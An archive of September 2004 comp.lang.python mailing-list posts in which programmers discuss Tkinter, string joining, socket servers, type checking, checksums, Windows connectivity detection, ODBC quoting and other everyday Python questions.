28 04:26:01 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Tue, 28 Sep 2004 10:26:01 +0200 Subject: Tkinter measurements References: Message-ID: <41591e47$0$25116$8fcfb975@news.wanadoo.fr> John Velman wrote: > I want to draw a box around a short piece of text in canvas (one line > text). I know how to do it if I place the text on the canvas first,then > draw the box around it. > > Is there a way to find out the dimensions of the text bounding box before > drawing it? First: why do you want to do that? The most used method is to draw the text before, get its bounding box, then draw the box. Why do you want to do the opposite? Anyway, there are some ways to get the size of the displayed text via the tkFont module. Example: -------------------------------------------------------------- from Tkinter import * from tkFont import Font root = Tk() cnv = Canvas(root) cnv.pack() ## This text item is only used to get the default font in the canvas t = cnv.create_text(0, 0, text='') f = Font(font=cnv.itemcget(t, 'font')) s = 'spam, spam and spam' cnv.create_text(10, 10, text=s, anchor=W) cnv.create_line(10, 15, 10 + f.measure(s), 15) root.mainloop() -------------------------------------------------------------- So you can get the text width quite easily. For the text height, it only depends on the font size and the number of lines in the text, so computing it "manually" seems reasonable. > Also, is there a method for converting from pixels to inches or inches to > pixels (for canvas)? The solution I use is just to multiply or divide by 72. Be careful with that: if you use it on font sizes, some windowing systems try to be smart and consider the screen resolution when displaying text. To avoid this, you can use negative font sizes (e.g. myText.configure(font=('helvetica', -12))). A negative font size is always considered in "regular" pixels (one inch / 72), and does not depend on the screen resolution. HTH -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From danperl at rogers.com Tue Sep 28 16:09:51 2004 From: danperl at rogers.com (Dan Perl) Date: Tue, 28 Sep 2004 16:09:51 -0400 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <2rt8rsF1ej1qmU1@uni-berlin.de> <415976d1$0$23090$ba624c82@nntp05.dk.telia.net> <10liubfprlt4g9d@corp.supernews.com> <41597d62$0$23054$ba624c82@nntp05.dk.telia.net> <1gku3wn.1o7mvyb1gtif84N%aleaxit@yahoo.com> <10ljg2vl36tb1e@corp.supernews.com> Message-ID: Sorry, my bad. I didn't pay attention and I mistook the join( ) for an append( ) while just copying and pasting. I've never used join( ) myself so it didn't click in my mind. Dan "Jeff Shannon" wrote in message news:10ljg2vl36tb1e at corp.supernews.com... > Dan Perl wrote: > >>>>output = [] >>>>for character in indput: >>>> output.append(List[character]) >>>> print ', '.join(output) >>>> >>That print statement is actually wrong in many ways. It was probably >>meant to be something like >> print ','.join(List[int(character)]) # List[int(character)], not >> output >>but even that would start with ',' and it would be on multiple lines >>(probably not your intention). > > No, it wouldn't start with ',' -- you're not parsing that line the same > way that Python does. ;) > > aString.join(aList) will combine a list of strings into a single string, > using the referenced string as "glue" to stick the pieces together. Thus, > when the referenced string is ', ', you'll get "item0, item1, item2". > > Python will evaluate the call to ', '.join() *before* it prints anything. > The print statement is given the resulting (single) string as its > argument. Indeed, that line could be split into several lines for > clarity: > > separator = ', ' > outputstring = separator.join(output) > print outputstring > > The point here is that the for loop builds a list of strings (called > 'output'). *After* the for loop finishes, then str.join() combines that > list into a single string, which is printed. However, the O.P. has an > indentation problem in his code -- he's put the print statement inside his > for loop, which means that every intermediate stage of the partially-built > output will get printed as well. All that needs done to fix it is to > outdent it one level (as Alex suggested). > > Your suggestion ("print ','.join(List[int(character)])"), by the way, will > give results that are far different from what you expect. ;) > > >>> List = ['zero', 'one', 'two', 'three'] > >>> print ",".join(List[int('3')]) > t,h,r,e,e > >>> > > You're correctly looking up the word to use for a given digit, but then > you're passing that single string (rather than a list) to join(), which > works on any sequence (not just lists). Well, strings are sequences too > (a sequence of characters), so join() creates a string with each element > (character) of the sequence separated by the specified string (","). > > Jeff Shannon > Technician/Programmer > Credit International > > > > From fakeaddress at nowhere.org Thu Sep 16 04:46:18 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Thu, 16 Sep 2004 08:46:18 GMT Subject: socket function that loops AND returns something In-Reply-To: References: Message-ID: Brad Tilley wrote: > [...] I want to get the data that the clients send out of > the loop but at the same time keep the loop going so it can > continue listening for connections. [...] I'd classify the ways to do it somewhat differently than the other responses: -Start multiple lines of execution - using threads - using processes (which, in Python, is less portable) -Wait for action on multiple sockets within a single thread - using os.select - using some less-portable asynchronous I/O facility Those are the low-level choices. Higher level facilities, such as Asyncore and Twisted, are themselves based on one or more of those. Different servers have different needs, but when in doubt use threads. Threading on the popular operating systems has improved vastly in the last several years. Running a thousand simultaneous threads is perfectly reasonable. Programmers using threads have to be aware of things like race conditions, but when threads are handling separate connections, most of their operations are independent of other threads. -- --Bryan From tjreedy at udel.edu Fri Sep 17 19:33:09 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 17 Sep 2004 19:33:09 -0400 Subject: "Updating" lambda functions References: <2qtl0oF139gn6U1@uni-berlin.de> Message-ID: "Bengt Richter" wrote in message news:cie73b$jma$0$216.39.172.122 at theriver.com... >>> "Terry Reedy" udel.edu> wrote in message >>> news:mailman.3428.1095385637.5135.python-list python.org... >>> >>> | I am curious if there is any reason other that habit carried over >>> from >>> | other languages to not write the above as >>> | >>> | def fu(x): return x >>> | def fu(x): return fu(x) + 17 > > obj.f = lambda args: body > > is possible without an intermediate local binding of f that might clobber > a previous f, as in > > def f(args): body > obj.f = f > del f # if you want to clean up. But better save the old f in that > case? > > I'd rather use lambda. Thanks. I had not thought of this variation. Similar would be seq[n] = lambda Of course, I *might* prefer being able to write def obj.f(params): # and def seq[n](params): Since def is effectively a binding statement, name to function object (like import, name to module), these seem not entirely unreasonable to me. Terry J. Reedy From adalke at mindspring.com Thu Sep 2 18:17:37 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 02 Sep 2004 22:17:37 GMT Subject: A little stricter type checking In-Reply-To: References: Message-ID: <5_MZc.5808$w%6.5000@newsread1.news.pas.earthlink.net> Tongu? Yumruk wrote: > If you want to be sure, you need to explicitly check if the > variable has the correct type. Rather, if you want to be sure then it's likely you haven't fully understood "duck typing" (or "latent typing" or "dynamic typing", depending on who you are.) See http://c2.com/cgi/wiki?DuckTyping and http://mindview.net/WebLog/log-0052 for more details. In short, doing explicit type checks is not the Python way. > Well always checking the types of the parameters in the start of every > function is too many redundant work. Instead we can define a syntax > that will check the type information at the beginning of function > declaration, and even before executing any code from that function. > That syntax might look like that: > > def larry(guido >= foo): > The few times I've needed explicit type checks is to do slightly different behaviour based on an type. For example, def count_lines(f): if isinstance(f, str): f = open(f, "U") return len(f) Your proposal doesn't do anything for this use case. In addition, what you're thinking of could be done with the new "decorator" proposal. Here's a sketch of one way to handle it. Ideally it should propogate the arglist and support keyword args and default parameters, but this gives the essense. >>> class typecheck: ... def __init__(self, *types): ... self.types = types ... def __call__(self, func): ... def f(*args): ... for arg, basetype in zip(args, self.types): ... if not isinstance(arg, basetype): ... raise TypeError("incompatible types") ... return func(*args) ... return f ... >>> @typecheck(int, str) ... def spam(i, s): ... return s*i ... >>> spam(2, "hello") 'hellohello' >>> spam("hello", 2) Traceback (most recent call last): File "", line 1, in ? File "", line 8, in f TypeError: incompatible types >>> (Wow! My first used of the @-thingy and it worked on the first try.) > And if we have a function that have much more parameters, this kind of > a syntax will really help us to remove redundant code from our > functions. The syntax can be defined by something like: [ == for exact test >= for superclass test <= for subclass test != for is neither subclass nor superclass in for attribute testing ] But if you look through Python code you'll see that most of the use cases look like my emulation of polymorphism and not your strict type checking. Here are some examples from the stdlib def __eq__(self, other): if isinstance(other, BaseSet): return self._data == other._data else: return False if isinstance(instream, basestring): instream = StringIO(instream) elif (not isinstance(self.delimiter, str) or len(self.delimiter) > 1): errors.append("delimiter must be one-character string") if isinstance(longopts, str): longopts = [longopts] else: longopts = list(longopts) if isinstance(filenames, basestring): filenames = [filenames] if isinstance(object, types.TupleType): argspec = object[0] or argspec docstring = object[1] or "" else: docstring = pydoc.getdoc(object) The only examples I found along the lines you wanted were in pickletools.py, copy.py, sets.py, and warnings.py. It just isn't needed that often in Python programming. Andrew dalke at dalkescientific.com From this at is.invalid Thu Sep 9 08:13:09 2004 From: this at is.invalid (Mercuro) Date: Thu, 09 Sep 2004 12:13:09 GMT Subject: Shorter checksum than MD5 In-Reply-To: <87llfjiy59.fsf@network-theory.co.uk> References: <87llfjiy59.fsf@network-theory.co.uk> Message-ID: Brian Gough wrote: > Mercuro writes: > > >>I'm looking for something that is 5 bytes long, for the moment i'm >>just taking a part of the hex md5 sum (like this: checksum = >>md5sum[3:8]). I don't have any duplicates, and I have over 100000 >>records, but i'm not sure for the future... Can anybody give me >>something better? Or point me to some website? > > > For making a smaller hash, I think your approach is a good one since > you can easily increase the length if you need to. > > For comparing two databases, maybe there are other options not using a > hash though (e.g. keeping a log of which records have changed since > the last comparison). > thx please read the reply under Paul Rubin for more information about the compare thingy. It's a bit to long to post twice. From alanmk at hotmail.com Thu Sep 9 05:45:23 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Thu, 09 Sep 2004 10:45:23 +0100 Subject: how to build simple FSM using generators ? In-Reply-To: <63b5e209.0409081225.345ae973@posting.google.com> References: <63b5e209.0409081225.345ae973@posting.google.com> Message-ID: <4yV%c.26886$Z14.8936@news.indigo.ie> [Joh] > i've readed "Charming Python: Generator-based state machines" > www-106.ibm.com/developerworks/ linux/library/l-pygen.html , but i > still can not get the point on how using generator for FSM > > i'm interested in a very simple FSM which would be able to recognize > consecutive sequence of texts, please can someone give me a hint on > how to do this using yield ? Have you seen this old post of mine, which looks like it might be relevant to you. http://groups.google.com/groups?selm=3ED622CA.4B01E3C1%40hotmail.com regards, -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From fumanchu at amor.org Tue Sep 14 00:16:43 2004 From: fumanchu at amor.org (Robert Brewer) Date: Mon, 13 Sep 2004 21:16:43 -0700 Subject: apache error Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022ED1@exchange.hqamor.amorhq.net> someguy wrote: > I realise that this might not be the appropriate > newgroup for this > question but there isn't a newsgroup on apache. > I'm using python to do some cgi programming and i'm using DOM > to sort a > table when the user clicks on a different heading. Here is a > sniplet of > code: > onclick="sortTable(0)">Rank > > > The sortTable() is a javascript method in an external file. > For some reason i got a the following error when i click on the table > header: > > Forbidden > You don't have permission to access /cgi-bin/ on this server. > > Apache/2.0.50 (Win32) mod_python/3.1.3 Python/2.3.3 > PHP/4.3.8 Server > at 24.156.164.6 Port 80 > > I'm running Apache on Windows Xp. Any suggestions as to what > premission > needs to be changed? Try changing href="" to href="http://www.google.com" and I think you'll see you aren't canceling the hyperlink. Even though your onclick event may be fired, the hyperlink is still being invoked. Since you left href blank, it assumes you want the default page of the root directory, in your case, /cgi-bin/, and takes you there. Or tries to. Try this instead: Rank Robert Brewer MIS Amor Ministries fumanchu at amor.org From http Tue Sep 21 14:56:30 2004 From: http (Paul Rubin) Date: 21 Sep 2004 11:56:30 -0700 Subject: Why not FP for Money? References: Message-ID: <7x8yb3o3hd.fsf@ruckus.brouhaha.com> Barkmann at gmail.com (Chris Barker) writes: > I've seen it suggested various times that one should use fixed point > for money, perhaps micro cents represented as integers. However, if > you do that, you need to make sure you do all the rounding correctly. Yes, "correctly" means "exactly the way decimal arithmetic does it, and if your answer is different in the slightest, the auditors are all over your ass". > If you were to use FP, you could have your IEEE 754 hardware do the > rounding for you But you'll get different answers than decimal arithmetic would give you, so the auditors will be all over your ass if you do it that way. You don't want that. You need decimal arithmetic. > and get better performance to boot. This is one situation where really, nobody cares about performance. Accounting programs simply don't spend any significant fraction of their CPU time doing arithmetic on money amounts. It's all I/O, database lookups, etc. From johnfkeeling at yahoo.com Thu Sep 2 09:13:38 2004 From: johnfkeeling at yahoo.com (John Keeling) Date: 2 Sep 2004 06:13:38 -0700 Subject: import pyd from zip file Message-ID: <35b736b9.0409020513.598fc4e0@posting.google.com> I'm using Py 2.3.4, and have been trying to import a pyd that has been compressed in a zip file. It is not found with an ImportError. The pyd works fine when uncompressed. I've had no problem importing py and pyc files from a zip file. Am I doing something wrong? Is zipimport not designed for pyds? ... or is it an ommission in the functionality of zipimport? I looked at the bugs database, and didn't see a mention of this. Thanks, John From martin at v.loewis.de Tue Sep 21 14:26:54 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 21 Sep 2004 20:26:54 +0200 Subject: build 64bit python on Solaris In-Reply-To: References: <414fc272$0$19020$9b622d9e@news.freenet.de> Message-ID: <4150726e$0$26130$9b622d9e@news.freenet.de> Jhy-Chun Wang wrote: > > I need to load 64bit C++ modules, will 32bit python do the work? I did > try -g alone, but still failed with the same error. No, in that case, you will need a 64-bit version. Something is wrong in your system (it might be Python, it might be your system). However, I cannot start guessing what it might be. So you need to use a debugger and find out why it crashes. It looks like it is a problem with memory management, so be prepared for very long debugging sessions. Good luck, Martin From tdelaney at avaya.com Thu Sep 16 22:34:06 2004 From: tdelaney at avaya.com (Delaney, Timothy C (Timothy)) Date: Fri, 17 Sep 2004 12:34:06 +1000 Subject: threads and classes Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE4A8FED@au3010avexu1.global.avaya.com> Alberto Vera wrote: > Could you tell me How I can make a class that contains 2 thread of 2 > methods? http://www.catb.org/~esr/faqs/smart-questions.html Tim Delaney From SBrunning at trisystems.co.uk Wed Sep 1 11:08:34 2004 From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk) Date: Wed, 1 Sep 2004 16:08:34 +0100 Subject: sys.stdin.readline() Message-ID: <9EED4A0E5EFBD811901100600846864D061083@intrepid> > From: Mike Maxwell [mailto:maxwell at ldc.upenn.edu] > > Thank you also to Simon B. (simon at brunningonline.net) for > pointing me to > his one-liner implementation, which is much better than I > {w|c}ould have > done. Oh, it's not mine. I've not even *used* it - it looks evil in the extreme to me. But I remembered its existance, so I thought I'd point it out. Cheers, Simon B. simon at brunningonline.net http://www.brunningonline.net/simon/blog/ ----------------------------------------------------------------------- The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, any disclosure, copying, distribution, or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot accept liability for statements made which are clearly the senders own. From jepler at unpythonic.net Thu Sep 2 10:14:35 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Thu, 2 Sep 2004 09:14:35 -0500 Subject: YOU ALL SUCK! In-Reply-To: References: <1bf5bcb9.15695836@aol.com> Message-ID: <20040902141435.GF24397@unpythonic.net> On Thu, Sep 02, 2004 at 06:17:05AM +0000, Eric Bohlman wrote: > "Amanita, Love Ewe" wrote in > news:1bf5bcb9.15695836 at aol.com: > > > Sharon expects the printer within hers and actually looks. Why will > > you grasp the ugly worthwhile onions before Satam does? Many proud > > cats over the abysmal planet were loving against the tired bathroom. > > This seems to be of somewhat better quality than the output of the typical > random-text generator. Can anyone suggest something on CPAN useful for > such? I'd guess that the text was generated from a grammar, rather than by a dissociated-press type algorithm. Two examples of "generate text from a grammar" are the dada engine[1] with its famous grammar, the pomo generator[2] and my own Novelwriting[3] for Python, which gave me 15 minutes^Wseconds of fame with "rottenflesh"[4]. (grammar at [5]) Jeff [1] http://dev.null.org/dadaengine/ [2] http://www.elsewhere.org/cgi-bin/postmodern/ [3] http://unpythonic.net/~jepler/novelwriting/ [4] http://unpy.net/~jepler/cgi-bin/novelwriting.cgi?s=rottenflesh.nw [5] http://unpythonic.net/~jepler/novelwriting/scripts/rottenflesh.nw -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From duncan.booth at invalid.invalid Wed Sep 22 04:33:56 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 22 Sep 2004 08:33:56 GMT Subject: Somthing strange with list as default argument References: <415135a2$0$2388$626a14ce@news.free.fr> Message-ID: Julien Sagnard wrote: > When passing a list as default argument for a function, only one list is > created for all calls. > exemple: > > I'm not found any reference of this. Is it a bug ? > I'm working on Windows 2000 with python 2.3.4 > You didn't search hard enough (although its not that easy a thing to search for if you don't know the answer). Please read the FAQ: http://www.python.org/doc/faq/general.html#why-are-default-values-shared-between-objects From steve at holdenweb.com Wed Sep 29 08:26:25 2004 From: steve at holdenweb.com (Steve Holden) Date: Wed, 29 Sep 2004 08:26:25 -0400 Subject: odbc error In-Reply-To: References: Message-ID: Michele Petrazzo wrote: > I'm using odbc on win95 and I have an incomprehensible error after a query: > > INSERT INTO test VALUES (f1,f2,f3) VALUES ("t1", "t2", "") > > table test and fields f1,f2,f3 exists :) and I can write to this table. > > The error is : > [Microsoft][Driver ODBC dBase] Too few parameters. Expected 2. > > What can I do? > The easiest thing to do is use correct syntax, which should put single quotes around string literals. The ODBC drivers tend to use standard SQL syntax even when the underlying database is a bit more liberal. Try INSERT INTO test VALUES (f1,f2,f3) VALUES ('t1', 't2', '') and see if that works. regards Steve From brandizzi at gmail.com Tue Sep 21 15:22:08 2004 From: brandizzi at gmail.com (Adam Victor Nazareth Brandizzi) Date: Tue, 21 Sep 2004 16:22:08 -0300 Subject: python ides In-Reply-To: <41507c8f$0$25693$636a15ce@news.free.fr> References: <41507c8f$0$25693$636a15ce@news.free.fr> Message-ID: <9f05ad5804092112222bc5ceb7@mail.gmail.com> On Tue, 21 Sep 2004 21:03:02 +0200, bruno modulix wrote: > "Proyect" ? Seems like our friend the troll Julio has changed its skin... Dubious... It seems to be a hispanic[1] typo... [1] Or italic, polish, greek... something like it :) -- Adam Victor Nazareth Brandizzi Estudante de Ci?ncia da Computa??o - UnB - Usu?rio Linux n? 366316 ICQ: 168537710 | Jabber: bardo0 at myjabber.net | Telefone: (61)9639 5258 "Real programmers don't use Pascal: just the integer ones can do it." From just at xs4all.nl Sun Sep 5 01:26:00 2004 From: just at xs4all.nl (Just) Date: Sun, 05 Sep 2004 07:26:00 +0200 Subject: docs on for-loop with no __iter__? References: Message-ID: In article , Steven Bethard wrote: > Andrew Dalke mindspring.com> writes: > > Steven Bethard wrote: > > > Presumably there was a reason not to use len() to determine > > > the end of the sequence? > > > > Because that allows iteration over things where > > you don't yet know the size. > > I'm trying to imagine a situation where it makes sense to want the x[i] > behavior from __getitem__ but where you don't know the final index. x[i] > suggests random access, so if you don't really have random access, shouldn't > you be defining __iter__ instead? Are there some good examples of classes > that allow the x[i] indexing but don't support random access (e.g. you can do > only do x[2] after you do x[1])? You're looking at it from a wrong totally wrong direction. The iterator protocol did not exist prior to Python 2.2, and "__getitem__ iteration" was the only way to implement custom iteration behavior. Its limitiations were (I think) a major incentive to create something better. In fact, the "new" iteration protocol is so brilliant, obvious and simple, that it's hard to see how we ever did without it, or even why noone invented it earlier... In other words: you're looking at a legacy protocol. Just From bill.ramsay at clear.net.nz Wed Sep 1 22:57:47 2004 From: bill.ramsay at clear.net.nz (bill ramsay) Date: 1 Sep 2004 19:57:47 -0700 Subject: detecting boxes in windows using python Message-ID: Dear all. I am using an existing hodge-podge of an application that runs on top of an Access database. This application dials up customer equipment, handshakes then downloads/uploads various bits of information in the access database. The original application is designed for some poor sod to sit there for hours and manually do the necessary. I have automated various processes by 'back filling' the access database, thereby fooling the application into doing what I want. The problem that I have is that if the application comes across a busy signal, or if the call fails for what ever reason, it displays an error dialog box on the pc. If there are a lot of these, it causes the app to hang. The underlying log files in the access database are still updated. Is there a way in python to detect these dialog boxes, then effectively close them? either by pressing the boxes own close button, or the little cross thingy on the top right corner (i don't know what it is called). The OS is win2k, latest service pack. Any help that any of you can offer will be most greatfully received. Kind regards Bill From gandreas at no.reply Mon Sep 27 13:07:49 2004 From: gandreas at no.reply (Glenn Andreas) Date: Mon, 27 Sep 2004 12:07:49 -0500 Subject: [Mac OS X] How to create double-clickable Python scripts References: Message-ID: In article , Markus wrote: > Hello, > > I've written a couple of Python scripts on OS X that I would like to > start from the Finder by doing a double-click on them. I guess I have to > create a Package. > > Does anybody know an easy way to create such a package? Or where can I > find more information about how to do this manually? > If all you want to do is make a simple script that does nothing more than standard input/output, you can use PyOXIDE's "Build Consolet" command to make a simple little "console applet". If you want a full blown UI, you'll probably want to use PyObjC and bundlebuilder to actually make the final app. From aleaxit at yahoo.com Tue Sep 14 10:12:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 16:12:04 +0200 Subject: tkinter - grid layout question References: Message-ID: <1gk426h.1yehnl7vx6cw0N%aleaxit@yahoo.com> Ajay wrote: > hi! > > is it possible to make a widget span more than one column in a grid? > i have two radio buttons in row=1, column=0 and 1 > now in row 2 i have a listbox. i'd like it to span both columns. how would > i do that? thelistbox.grid(row=2, columnspan=2) Alex From shilmahr at despammed.com Thu Sep 23 17:47:37 2004 From: shilmahr at despammed.com (Sven Hilmahr) Date: Thu, 23 Sep 2004 23:47:37 +0200 Subject: python 2.3.4 installation as framework (Mac OSX): test failed Message-ID: <1gklalf.1tj9aehad7kd6N%shilmahr@despammed.com> Hello, I tried to do a Python 2.3.4 framework installation on my Mac OS X 10.3.5. I configured as described in /Mac/OSX/ReadMe: ./configure --enable-framework But on make test, one test failed: test test_macostools failed -- Traceback (most recent call last): File "/Users/sven/Downloads/Python-2.3.4/Lib/test/test_macostools.py", line 78, in test_mkalias_relative macostools.mkalias(test_support.TESTFN, TESTFN2, sys.prefix) File "/Users/sven/Downloads/Python-2.3.4/Lib/plat-mac/macostools.py", line 39, in mkalias relativefsr = File.FSRef(relative) Error: (-43, 'File not found') Here is the content of the files mentioned in the error notification: /Users/sven/Downloads/Python-2.3.4/Lib/test/test_macostools.py: 73 def test_mkalias_relative(self): 74 try: 75 os.unlink(TESTFN2) 76 except: 77 pass 78 macostools.mkalias(test_support.TESTFN, TESTFN2, sys.prefix) 79 fss, _, _ = Carbon.File.ResolveAliasFile(TESTFN2, 0) 80 self.assertEqual(fss.as_pathname(), os.path.realpath(test_support.TESTFN)) /Users/sven/Downloads/Python-2.3.4/Lib/plat-mac/macostools.py: 27 # Not guaranteed to be correct or stay correct (Apple doesn't tell you 28 # how to do this), but it seems to work. 29 # 30 def mkalias(src, dst, relative=None): 31 """Create a finder alias""" 32 srcfsr = File.FSRef(src) 33 # The next line will fail under unix-Python if the destination 34 # doesn't exist yet. We should change this code to be fsref-based. 35 dstdir, dstname = os.path.split(dst) 36 if not dstdir: dstdir = os.curdir 37 dstdirfsr = File.FSRef(dstdir) 38 if relative: 39 relativefsr = File.FSRef(relative) I have no idea how to fix this. Does the comment "The next line will fail under unix-Python if the destination doesn't exist yet"? mean that I have ro create some directory first? Which one? If I do a ./configure without the --enable-framework option, no tests fail. Can you help me? Thanks, Sven From jussij at zeusedit.com Mon Sep 20 03:03:50 2004 From: jussij at zeusedit.com (Jussi Jumppanen) Date: Mon, 20 Sep 2004 17:03:50 +1000 Subject: python is going to die! =( References: Message-ID: <414E80D6.3657@zeusedit.com> julio wrote: > No help in real programing? If you work on the Windows platform then take a look at the Zeus programmers editor: http://www.zeusedit.com/lookmain.html > why? why do i need to press a retarded button > to indent-deindent reindent stuff but i dont need help with Zeus has SmartIndent which automatically handles the indenting of code. When it comes to indenting it even understands the special needs of Python :) > integrated help system, Zeus has QuickHelp. Point it a WinHelp or HtmlHelp file and it will do the rest: http://www.zeusedit.com/forum/viewforum.php?f=7 > code completion, source assistant, a freaking decent calltips > support, etc ? Zeus has templates macros even intellisensing. You can also write macros using Python. Best of all Zeus does not care language you program in. It will also work just as well as an IDE for c# :) Jussi Jumppanen http://www.zeusedit.com From claird at lairds.us Mon Sep 20 12:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Mon, 20 Sep 2004 16:08:05 GMT Subject: Microthreads without Stackless? References: <8cf9f521.0409181021.6db6a3e4@posting.google.com> <5cq3d.17537$QJ3.13088@newssvr21.news.prodigy.com> Message-ID: In article <5cq3d.17537$QJ3.13088 at newssvr21.news.prodigy.com>, Bryan Olson wrote: . [much else that merits comment] . . >Microsoft Windows and Apple Mac-OS had cooperative multi-tasking >when they took over most of the world. They certainly had >problems, but that intra-process threading was cooperative was >not high on the problem list. (The way separate processes could >effect each other, that was a problem.) . . . We *definitely* have a lot of concepts running around now. Windows and MacOS certainly did "take over the world" when their multi-tasking was primitively co-operative. The usability problems with that are an artifact of the *inter*- process model. I don't think anyone in this thread has said ...--well, whatever "intra-process threading ... was not high on the problem list" doesn't negate what *I* read as others' points. >From what I can tell, Windows *still* has problems with the separate process affecting each other. I think that, too, is a different matter. From raims at dot.com Thu Sep 2 04:48:11 2004 From: raims at dot.com (Lawrence Oluyede) Date: Thu, 2 Sep 2004 10:48:11 +0200 Subject: .net and python References: Message-ID: In data Thu, 2 Sep 2004 18:28:03 +1000, Ajay ha scritto: > Is it possible for me to have part of my application written using C#.NET > and then have it called from within a Python program. Try Python.NET http://www.zope.org/Members/Brian/PythonNet/index_html >From there you can access dotNET libraries within a Python program -- Lawrence (l dot oluyede at virgilio dot it) "If the implementation is hard to explain, it's a bad idea." from The Zen of Python by Tim Peters From markus.cl at gmx.de Thu Sep 23 13:53:02 2004 From: markus.cl at gmx.de (Markus Dehmann) Date: 23 Sep 2004 10:53:02 -0700 Subject: Python for Perl programmers? References: Message-ID: markus.cl at gmx.de (Markus Dehmann) wrote in message news:... > I am using perl for everything, even bigger programs, with objects, > uh, modules and stuff. I know pretty much every trick in perl and have > a lot of experience. > > But I'd like to try a cleaner language, where you don't have to type > so much crap to create a class etc. So, I wanna give python a try. > > Is there a tutorial that takes all the standard perl things and then > explains how to do them in python? That would be perfect. Open a file, > take all the words, put them in a hash, do something with them, print > the result in a formatted way, write it to a new file etc. Create a > class that downloads newsgroups, etc. Things like that. Thanks for all your suggestions!! I found exactly what I need. Thanks Markus From jjl at pobox.com Thu Sep 23 16:36:59 2004 From: jjl at pobox.com (John J. Lee) Date: 23 Sep 2004 21:36:59 +0100 Subject: socket timeout / m2crypto.urllib problems References: Message-ID: <871xgsu3h0.fsf@pobox.com> John Hunter writes: [...] > Any ideas? Is there a better/easier way to get https docs in python? [...] Python 2.3 has https support built-in even on Windows. John From listsub at wickedgrey.com Thu Sep 23 20:44:05 2004 From: listsub at wickedgrey.com (Eli Stevens (WG.c)) Date: Thu, 23 Sep 2004 17:44:05 -0700 Subject: good way to do side effects on lists? In-Reply-To: <44qdnTS-mqa0wM7cRVn-rg@giganews.com> References: <415208a1$1_4@news3.es.net> <85bc2819.0409230702.2a5c4ab5@posting.google.com> <4153315a$0$17453$636a15ce@news.free.fr> <44qdnTS-mqa0wM7cRVn-rg@giganews.com> Message-ID: <41536DD5.90905@wickedgrey.com> Istvan Albert wrote: > now let's turn on psyco: > > import psyco > psyco.full() ... > oh boy. Judging from this post: http://groups.google.com/groups?hl=en&lr=lang_en&ie=UTF-8&selm=2259b0e2.0308240638.38350cba%40posting.google.com It seems like Psyco can detect simple "hey, let's see how fast this can go with Psyco" tests, and can give skewed results. I wouldn't expect a 50x improvement in the general case (though if you have to do simplistic things over and over, Psyco is the way to go ;). I'm not trying to bash Psyco - two lines netting a 2x speed boost is great, but it's good to avoid setting expectations too high. :) I started experimenting with Psyco a few weeks ago, and found I was getting about 2x for my application. ISTR the docs saying that more numerical stuff worked well with Psyco; the OP hinted that there was number crunching involved. Certainly worth a look. Eli From dave at pythonapocrypha.com Mon Sep 20 10:27:06 2004 From: dave at pythonapocrypha.com (Dave Brueck) Date: Mon, 20 Sep 2004 08:27:06 -0600 Subject: Determining if a client PC has an Internet connection In-Reply-To: <1095578301.31957.263.camel@devilbox.devilnet.internal> References: <1095578301.31957.263.camel@devilbox.devilnet.internal> Message-ID: <414EE8BA.3030405@pythonapocrypha.com> Cliff Wells wrote: > I'm writing an application that needs to know if an Internet connection > is available. [snip] > Is there any way to reliably determine the state of the client's > internet connectivity? Hi Cliff, On a Win32 system you can reliably determine the state of the Internet connection but it requires a fair amount of work. Here's the recipe I use: 1) If the user has a modem and is connected via a modem, you know for sure that the user is online (use ctypes to call rasapi32.RasEnumEntriesA to see if the user has a modem, and rasapi32.RasEnumConnectionsA to see if the user is connected via a modem) 2) If that test fails, next check for open connections to remote hosts. If there are any open connections to public IP addresses, the user is "online". (use iphlpapi.GetTcpTable to get a list of connections, and keep only those where dwState is MIB_TCP_STATE_ESTAB. Remove any addresses that are 127.0.0.1, 10.*, 192.168.*, or 172.16-31.*). If after all this the list is non-empty, you're probably online. 3) Still no luck? Call IcmpSendEcho to a well-known server - this sends a "ping" packet, which won't bring up the dial-up networking box to annoy your users. I usually start with a list of all the DNS root servers as well as pingable company IP addresses, and randomly choose one of them. Then, anytime I make a connection to the Internet, I save the results of the hostname lookup and use them in my list as well (so that very few pings actually go to the DNS root servers). Also, it's good to make sure that your code has restrictions in place to prevent it from pinging anything too often. Due to instant messengers & email clients, step #2 usually detects when the user is online, so the need for an actual ping is greatly reduced. Anyway, after doing the above you know with a high degree of certainty whether or not the user is online. The above approach is obviously a lot of work, but once you take the time to do it you can just stick it in a library somewhere and not have to think about it again. On import of the library, I start up a background thread that updates a status variable every second or so, so that any time my app can query to see the state of the Internet connection. Although it's a lot of work, I've found that (1) it's pretty accurate and (2) it's non-intrusive (it doesn't e.g. pop up the dial-up networking dialog box if the user is offline). Hope at least some of this helps, Dave From cbuffer at NOSPAMrosecott.ukfsn.org Mon Sep 13 17:36:41 2004 From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes) Date: Mon, 13 Sep 2004 22:36:41 +0100 Subject: #comments References: Message-ID: Oh lord, start again:- data=raw_input("Type something ") # spacer after "something" myInput=data print "You typed " myInput # and again print "The fourth character is "myInput[3] # and again From barross at web.de Sat Sep 4 14:18:38 2004 From: barross at web.de (Hans Dembinski) Date: Sat, 04 Sep 2004 20:18:38 +0200 Subject: Is it possible?: cat text.txt | python_script_which_also_gets_user_input.py Message-ID: 